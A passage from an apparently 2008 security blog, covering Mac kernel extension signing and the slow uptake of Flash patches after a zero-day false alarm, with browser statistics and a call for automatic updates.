  • Mandatory code signing for any kernel extensions.  I don’t want to have to worry about kernel rootkits, hyperjacking, or malware infecting existing kernel drivers on disk.  Most kernel extensions are from Apple anyway and for the few common 3rd party ones, they should be required to get a code signing certificate. 

I’m hoping that Snow Leopard ships before we see too much Mac malware, fixes all of the above, and that it is a free upgrade.  Yes, I know that’s unlikely, but users will not pay money for security features.  When users don’t upgrade and are subjected to malware, Apple may still get a bad rap for it.

Thoughts on the Flash Malware Attack

It has almost been a week since the Adobe Flash zero-day attack false alarm.  Since then, a number of people have called Symantec out as being irresponsible for crying wolf and announcing the raising the ThreatCon without fully researching the vulnerability (Full disclosure: Based on that information, I wrote here that the exploit took advantage of a zero-day vulnerability before I had tested it on a patched system — I was more interested in reversing the malware payload at the time).  We must be careful, however, to make sure that the real lesson isn’t lost while we all breathe a collective sigh of relief: the vulnerability may as well have been zero-day.

Google Analytics has a nifty feature where it will give you information on your visitor’s browser capabilities, including the version of Flash installed down to the revision level1. I was looking through the analytics for my other, more neglected web site and noticed that less than a third of my high-technical visitors had a current version of Flash. An anonymous robot contributed statistics for a larger site that had significantly more visitors2 and the statistics confirmed the low percentage of up-to-date Flash players.

Date % up-to-date
5/26 15.28
5/27 15.93
5/28 16.50
5/29 17.51

Remember, this is still 7 weeks after the update was released. This brings me to my main points:

  • Flash 9 has 97.2% penetration in mature markets
  • After roughly 2 months, less than 20% of users had applied an update that addresses a critical remote code execution vulnerability
  • At CanSecWest’s PWN2OWN 2008, Shane Macaulay and Alexander Sotirov proved that with proper Feng Shui and a Java applet, a flash vulnerability is still very much exploitable even on Vista SP1 with ASLR, Hardware-enforced DEP, etc.
  • TippingPoint’s Zero Day Initiative has 7 upcoming advisories for high-risk vulnerabilities in Adobe products.  I doubt any of them are in Photoshop.
How does the average user know that they should update flash and how to do so?  By reading the trade press?  Microsoft learned that you have to harass the user into patching their operating system and even then, it should be as automatic as possible.  As Flash currently enjoys an essentially universal market share, now is the time to make significant security improvements without having to repeat the lessons that others have had to so painfully learn.

1. Actually, you only get revision numbers if the user’s browser is FireFox. I believe it is safe to assume that the average FireFox user would be more Internet security savvy than the average Internet Explorer user, so we may consider these numbers an upper bound.

2. Data is based on several hundred thousand unique visitors.

Follow

Get every new post delivered to your Inbox.

Join 43 other followers